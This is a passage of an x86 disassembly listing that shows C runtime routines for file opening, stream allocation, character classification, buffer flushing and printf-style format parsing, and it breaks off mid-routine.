loc_41F2B1:				; CODE XREF: sub_41F192+D5j
		test	ch, 0C0h
		jz	short loc_41F2BD


loc_41F2B6:				; CODE XREF: sub_41F192+72j
					; sub_41F192+7Bj ...
		xor	edx, edx
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F2BD:				; CODE XREF: sub_41F192+122j
		or	ch, 80h
		jmp	loc_41F1D6
; ---------------------------------------------------------------------------


loc_41F2C5:				; CODE XREF: sub_41F192+4Aj
					; sub_41F192+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423896
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F2E3


loc_41F2DF:				; CODE XREF: sub_41F192+25j
		xor	eax, eax
		jmp	short loc_41F2FD
; ---------------------------------------------------------------------------


loc_41F2E3:				; CODE XREF: sub_41F192+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4E15C8
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F2FD:				; CODE XREF: sub_41F192+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F192	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F302	proc near		; CODE XREF: sub_41BB98p
		mov	edx, dword_4E2940
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F373
		mov	ebx, dword_4E1924
		mov	edi, ebx


loc_41F31E:				; CODE XREF: sub_41F302+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F339
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F334
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F31E
		jmp	short loc_41F373
; ---------------------------------------------------------------------------


loc_41F334:				; CODE XREF: sub_41F302+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F35D
; ---------------------------------------------------------------------------


loc_41F339:				; CODE XREF: sub_41F302+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41BBCB
		pop	ecx
		mov	ecx, dword_4E1924
		mov	[edi+ecx], eax
		mov	eax, dword_4E1924
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F373
		mov	esi, edi


loc_41F35D:				; CODE XREF: sub_41F302+35j
		cmp	esi, ebp
		jz	short loc_41F373
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F373:				; CODE XREF: sub_41F302+12j
					; sub_41F302+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F302	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F37A	proc near		; CODE XREF: sub_41BD9E+17p
					; sub_41BD9E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F398
		mov	ecx, off_442560
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F3EA
; ---------------------------------------------------------------------------


loc_41F398:				; CODE XREF: sub_41F37A+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_442560
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F3BD
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F3C6
; ---------------------------------------------------------------------------


loc_41F3BD:				; CODE XREF: sub_41F37A+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F3C6:				; CODE XREF: sub_41F37A+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	loc_423B4F
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F3E6
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F3E6:				; CODE XREF: sub_41F37A+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F3EA:				; CODE XREF: sub_41F37A+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F37A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F3EF	proc near		; CODE XREF: sub_41BF36+46p
					; sub_41C030+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F4F8
		test	al, 40h
		jnz	loc_41F4F8
		test	al, 1
		jz	short loc_41F427
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F4F8
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F427:				; CODE XREF: sub_41F3EF+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F461
		cmp	esi, offset dword_442B58
		jz	short loc_41F44F
		cmp	esi, offset dword_442B78
		jnz	short loc_41F45A


loc_41F44F:				; CODE XREF: sub_41F3EF+56j
		push	ebx
		call	sub_423C98
		test	eax, eax
		pop	ecx
		jnz	short loc_41F461


loc_41F45A:				; CODE XREF: sub_41F3EF+5Ej
		push	esi
		call	sub_423852
		pop	ecx


loc_41F461:				; CODE XREF: sub_41F3EF+4Ej
					; sub_41F3EF+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F4CE
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F491
		push	edi
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F4C4
; ---------------------------------------------------------------------------


loc_41F491:				; CODE XREF: sub_41F3EF+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F4AC
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4E1820[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F4B1
; ---------------------------------------------------------------------------


loc_41F4AC:				; CODE XREF: sub_41F3EF+A5j
		mov	eax, offset dword_442E40


loc_41F4B1:				; CODE XREF: sub_41F3EF+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F4C4
		push	2
		push	0
		push	ebx
		call	sub_42261C
		add	esp, 0Ch


loc_41F4C4:				; CODE XREF: sub_41F3EF+A0j
					; sub_41F3EF+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F4E2
; ---------------------------------------------------------------------------


loc_41F4CE:				; CODE XREF: sub_41F3EF+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42280E
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F4E2:				; CODE XREF: sub_41F3EF+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F4EE
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F4FD
; ---------------------------------------------------------------------------


loc_41F4EE:				; CODE XREF: sub_41F3EF+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F500
; ---------------------------------------------------------------------------


loc_41F4F8:				; CODE XREF: sub_41F3EF+10j
					; sub_41F3EF+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F4FD:				; CODE XREF: sub_41F3EF+FDj
		or	eax, 0FFFFFFFFh


loc_41F500:				; CODE XREF: sub_41F3EF+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F3EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F504	proc near		; CODE XREF: sub_41BF36+29p
					; sub_41C030+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FC1D
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F538
; ---------------------------------------------------------------------------


loc_41F530:				; CODE XREF: sub_41F504+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F538:				; CODE XREF: sub_41F504+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FC1D
		cmp	bl, 20h
		jl	short loc_41F559
		cmp	bl, 78h
		jg	short loc_41F559
		movsx	eax, bl
		mov	al, byte ptr flt_42770C[eax]
		and	eax, 0Fh
		jmp	short loc_41F55B
; ---------------------------------------------------------------------------


loc_41F559:				; CODE XREF: sub_41F504+40j
					; sub_41F504+45j
		xor	eax, eax


loc_41F55B:				; CODE XREF: sub_41F504+53j
		movsx	eax, byte_42772C[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FC0C	; default
		jmp	off_41FC25[eax*4] ; switch jump


loc_41F579:				; DATA XREF: .nsp0:off_41FC25o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F572 case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F594:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		movsx	eax, bl		; jumptable 0041F572 case 2
		sub	eax, 20h
		jz	short loc_41F5D7
		sub	eax, 3
		jz	short loc_41F5CE
		sub	eax, 8
		jz	short loc_41F5C5
		dec	eax
		dec	eax
		jz	short loc_41F5BC
		sub	eax, 3
		jnz	loc_41FC0C	; default
		or	[ebp+var_4], 8
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5BC:				; CODE XREF: sub_41F504+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5C5:				; CODE XREF: sub_41F504+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5CE:				; CODE XREF: sub_41F504+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5D7:				; CODE XREF: sub_41F504+96j
		or	[ebp+var_4], 2
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F5E0:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		cmp	bl, 2Ah		; jumptable 0041F572 case 3
		jnz	short loc_41F608
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FC0C	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F600:				; CODE XREF: sub_41F504+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F608:				; CODE XREF: sub_41F504+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F600
; ---------------------------------------------------------------------------


loc_41F617:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		mov	[ebp+var_10], edx ; jumptable 0041F572 case 4
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F61F:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		cmp	bl, 2Ah		; jumptable 0041F572 case 5
		jnz	short loc_41F642
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FC0C	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F642:				; CODE XREF: sub_41F504+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F654:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		cmp	bl, 49h		; jumptable 0041F572 case 6
		jz	short loc_41F687
		cmp	bl, 68h
		jz	short loc_41F67E
		cmp	bl, 6Ch
		jz	short loc_41F675
		cmp	bl, 77h
		jnz	loc_41FC0C	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F675:				; CODE XREF: sub_41F504+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F67E:				; CODE XREF: sub_41F504+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F687:				; CODE XREF: sub_41F504+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F6A0
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F6A0
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F6A0:				; CODE XREF: sub_41F504+186j
					; sub_41F504+18Cj
		mov	[ebp+var_30], edx


loc_41F6A3:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		mov	ecx, off_442560	; jumptable 0041F572 case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F6CF
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FC45
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F6CF:				; CODE XREF: sub_41F504+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FC45
		add	esp, 0Ch
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F6E7:				; CODE XREF: sub_41F504+6Ej
					; DATA XREF: .nsp0:off_41FC25o
		movsx	eax, bl		; jumptable 0041F572 case 7
		cmp	eax, 67h
		jg	loc_41F90F
		cmp	eax, 65h
		jge	loc_41F792
		cmp	eax, 58h
		jg	loc_41F7F0
		jz	loc_41F983
		sub	eax, 43h
		jz	loc_41F7B3
		dec	eax
		dec	eax
		jz	short loc_41F788
		dec	eax
		dec	eax
		jz	short loc_41F788
		sub	eax, 0Ch
		jnz	loc_41FB0E
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F731
		or	byte ptr [ebp+var_4+1],	8


loc_41F731:				; CODE XREF: sub_41F504+227j
					; sub_41F504+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F73E
		mov	esi, 7FFFFFFFh


loc_41F73E:				; CODE XREF: sub_41F504+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41F957
		test	ecx, ecx
		jnz	short loc_41F766
		mov	ecx, off_44277C
		mov	[ebp+var_8], ecx


loc_41F766:				; CODE XREF: sub_41F504+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F76F:				; CODE XREF: sub_41F504+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41F94E
		cmp	word ptr [eax],	0
		jz	loc_41F94E
		inc	eax
		inc	eax
		jmp	short loc_41F76F
; ---------------------------------------------------------------------------


loc_41F788:				; CODE XREF: sub_41F504+212j
					; sub_41F504+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F792:				; CODE XREF: sub_41F504+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41F876
		mov	[ebp+var_10], 6
		jmp	loc_41F884
; ---------------------------------------------------------------------------


loc_41F7B3:				; CODE XREF: sub_41F504+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F7BF
		or	byte ptr [ebp+var_4+1],	8


loc_41F7BF:				; CODE XREF: sub_41F504+2B5j
					; sub_41F504+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F806
		call	sub_41FD00
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423CBE
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F819
		mov	[ebp+var_28], 1
		jmp	short loc_41F819
; ---------------------------------------------------------------------------


loc_41F7F0:				; CODE XREF: sub_41F504+1FBj
		sub	eax, 5Ah
		jz	short loc_41F827
		sub	eax, 9
		jz	short loc_41F7BF
		dec	eax
		jz	loc_41F9E9
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F806:				; CODE XREF: sub_41F504+2C5j
		call	sub_41FCE3
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F819:				; CODE XREF: sub_41F504+2E1j
					; sub_41F504+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F827:				; CODE XREF: sub_41F504+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	eax, eax
		pop	ecx
		jz	short loc_41F868
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41F868
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41F859
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41FB0E
; ---------------------------------------------------------------------------


loc_41F859:				; CODE XREF: sub_41F504+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F868:				; CODE XREF: sub_41F504+32Fj
					; sub_41F504+336j
		mov	eax, off_442778
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41F904
; ---------------------------------------------------------------------------


loc_41F876:				; CODE XREF: sub_41F504+29Dj
		jnz	short loc_41F884
		cmp	bl, 67h
		jnz	short loc_41F884
		mov	[ebp+var_10], 1


loc_41F884:				; CODE XREF: sub_41F504+2AAj
					; sub_41F504:loc_41F876j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_442B08
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41F8D6
		cmp	[ebp+var_10], 0
		jnz	short loc_41F8D6
		lea	eax, [ebp+var_248]
		push	eax
		call	off_442B14
		pop	ecx


loc_41F8D6:				; CODE XREF: sub_41F504+3BCj
					; sub_41F504+3C2j
		cmp	bl, 67h
		jnz	short loc_41F8ED
		test	esi, esi
		jnz	short loc_41F8ED
		lea	eax, [ebp+var_248]
		push	eax
		call	off_442B0C
		pop	ecx


loc_41F8ED:				; CODE XREF: sub_41F504+3D5j
					; sub_41F504+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41F903
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41F903:				; CODE XREF: sub_41F504+3F0j
		push	edi


loc_41F904:				; CODE XREF: sub_41F504+36Dj
		call	sub_41B890
		pop	ecx
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F90F:				; CODE XREF: sub_41F504+1E9j
		sub	eax, 69h
		jz	loc_41F9E9
		sub	eax, 5
		jz	loc_41F9BF
		dec	eax
		jz	loc_41F9AC
		dec	eax
		jz	short loc_41F97C
		sub	eax, 3
		jz	loc_41F731
		dec	eax
		dec	eax
		jz	loc_41F9ED
		sub	eax, 3
		jnz	loc_41FB0E
		mov	[ebp+var_2C], 27h
		jmp	short loc_41F98A
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F504+270j
					; sub_41F504+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F957:				; CODE XREF: sub_41F504+24Fj
		test	ecx, ecx
		jnz	short loc_41F964
		mov	ecx, off_442778
		mov	[ebp+var_8], ecx


loc_41F964:				; CODE XREF: sub_41F504+455j
		mov	eax, ecx


loc_41F966:				; CODE XREF: sub_41F504+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41F975
		cmp	byte ptr [eax],	0
		jz	short loc_41F975
		inc	eax
		jmp	short loc_41F966
; ---------------------------------------------------------------------------


loc_41F975:				; CODE XREF: sub_41F504+467j
					; sub_41F504+46Cj
		sub	eax, ecx
		jmp	loc_41FB0B
; ---------------------------------------------------------------------------


loc_41F97C:				; CODE XREF: sub_41F504+425j
		mov	[ebp+var_10], 8


loc_41F983:				; CODE XREF: sub_41F504+201j
		mov	[ebp+var_2C], 7


loc_41F98A:				; CODE XREF: sub_41F504+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41F9F4
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41F9F4
; ---------------------------------------------------------------------------


loc_41F9AC:				; CODE XREF: sub_41F504+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41F9F4
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41F9F4
; ---------------------------------------------------------------------------


loc_41F9BF:				; CODE XREF: sub_41F504+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCE3
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41F9D8
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41F9DD
; ---------------------------------------------------------------------------


loc_41F9D8:				; CODE XREF: sub_41F504+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41F9DD:				; CODE XREF: sub_41F504+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41FC0C	; default
; ---------------------------------------------------------------------------


loc_41F9E9:				; CODE XREF: sub_41F504+2F7j
					; sub_41F504+40Ej
		or	[ebp+var_4], 40h


loc_41F9ED:				; CODE XREF: sub_41F504+432j
		mov	[ebp+var_C], 0Ah


loc_41F9F4:				; CODE XREF: sub_41F504+491j
					; sub_41F504+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41FA06
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FCF0
		pop	ecx
		jmp	short loc_41FA47
; ---------------------------------------------------------------------------


loc_41FA06:				; CODE XREF: sub_41F504+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41FA2D
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FA22
		call	sub_41FCE3
		pop	ecx
		movsx	eax, ax


loc_41FA1F:				; CODE XREF: sub_41F504+527j
					; sub_41F504+539j
		cdq
		jmp	short loc_41FA47
; ---------------------------------------------------------------------------


loc_41FA22:				; CODE XREF: sub_41F504+510j
		call	sub_41FCE3
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41FA1F
; ---------------------------------------------------------------------------


loc_41FA2D:				; CODE XREF: sub_41F504+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41FA3F
		call	sub_41FCE3
		pop	ecx
		jmp	short loc_41FA1F
; ---------------------------------------------------------------------------


loc_41FA3F:				; CODE XREF: sub_41F504+531j
		call	sub_41FCE3
		pop	ecx
		xor	edx, edx


loc_41FA47:				; CODE XREF: sub_41F504+500j
					; sub_41F504+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41FA68
		test	edx, edx
		jg	short loc_41FA68
		jl	short loc_41FA57
		test	eax, eax
		jnb	short loc_41FA68


loc_41FA57:				; CODE XREF: sub_41F504+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41FA6C
; ---------------------------------------------------------------------------


loc_41FA68:				; CODE XREF: sub_41F504+547j
					; sub_41F504+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41FA6C:				; CODE XREF: sub_41F504+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41FA75
		and	edi, 0


loc_41FA75:				; CODE XREF: sub_41F504+56Cj
		cmp	[ebp+var_10], 0
		jge	short loc_41FA84
		mov	[ebp+var_10], 1
		jmp	short loc_41FA88
; ---------------------------------------------------------------------------


loc_41FA84:				; CODE XREF: sub_41F504+575j
		and	[ebp+var_4], 0FFFFFFF7h


loc_41FA88:				; CODE XREF: sub_41F504+57Ej
		mov	eax, esi
		or	eax, edi
		jnz	short loc_41FA92
		and	[ebp+var_1C], 0


loc_41FA92:				; CODE XREF: sub_41F504+588j
		lea	eax, [ebp+var_49]
		mov	[ebp+var_8], eax


loc_41FA98:				; CODE XREF: sub_41F504+5DDj
		mov	eax, [ebp+var_10]
		dec	[ebp+var_10]
		test	eax, eax
		jg	short loc_41FAA8
		mov	eax, esi
		or	eax, edi
		jz	short loc_41FAE3


loc_41FAA8:				; CODE XREF: sub_41F504+59Cj
		mov	eax, [ebp+var_C]
		cdq
		push	edx
		push	eax
		push	edi
		push	esi
		mov	[ebp+var_40], eax
		mov	[ebp+var_3C], edx
		call	sub_41DB50
		push	[ebp+var_3C]
		mov	ebx, eax
		add	ebx, 30h
		push	[ebp+var_40]
		push	edi
		push	esi
		call	sub_41DAE0
		cmp	ebx, 39h
		mov	esi, eax
		mov	edi, edx
		jle	short loc_41FAD9
		add	ebx, [ebp+var_2C]


loc_41FAD9:				; CODE XREF: sub_41F504+5D0j
		mov	eax, [ebp+var_8]
		dec	[ebp+var_8]
		mov	[eax], bl
		jmp	short loc_41FA98
; ---------------------------------------------------------------------------


loc_41FAE3:				; CODE XREF: sub_41F504+5A2j
		lea	eax, [ebp+var_49]
		sub	eax, [ebp+var_8]
		inc	[ebp+var_8]
		test	byte ptr [ebp+var_4+1],	2
		mov	[ebp+var_C], eax
		jz	short loc_41FB0E
		mov	ecx, [ebp+var_8]
		cmp	byte ptr [ecx],	30h
		jnz	short loc_41FB01
		test	eax, eax
		jnz	short loc_41FB0E


loc_41FB01:				; CODE XREF: sub_41F504+5F7j
		dec	[ebp+var_8]
		inc	eax
		mov	ecx, [ebp+var_8]
		mov	byte ptr [ecx],	30h


loc_41FB0B:				; CODE XREF: sub_41F504+35Fj
					; sub_41F504+406j ...
		mov	[ebp+var_C], eax


loc_41FB0E:				; CODE XREF: sub_41F504+21Bj
					; sub_41F504+2FDj ...
		cmp	[ebp+var_28], 0
		jnz	loc_41FC0C	; default
		mov	ebx, [ebp+var_4]
		test	bl, 40h
		jz	short loc_41FB46
		test	bh, 1
		jz	short loc_41FB2B
		mov	[ebp+var_16], 2Dh
		jmp	short loc_41FB3F
; ---------------------------------------------------------------------------


loc_41FB2B:				; CODE XREF: sub_41F504+61Fj
		test	bl, 1
		jz	short loc_41FB36
		mov	[ebp+var_16], 2Bh
		jmp	short loc_41FB3F
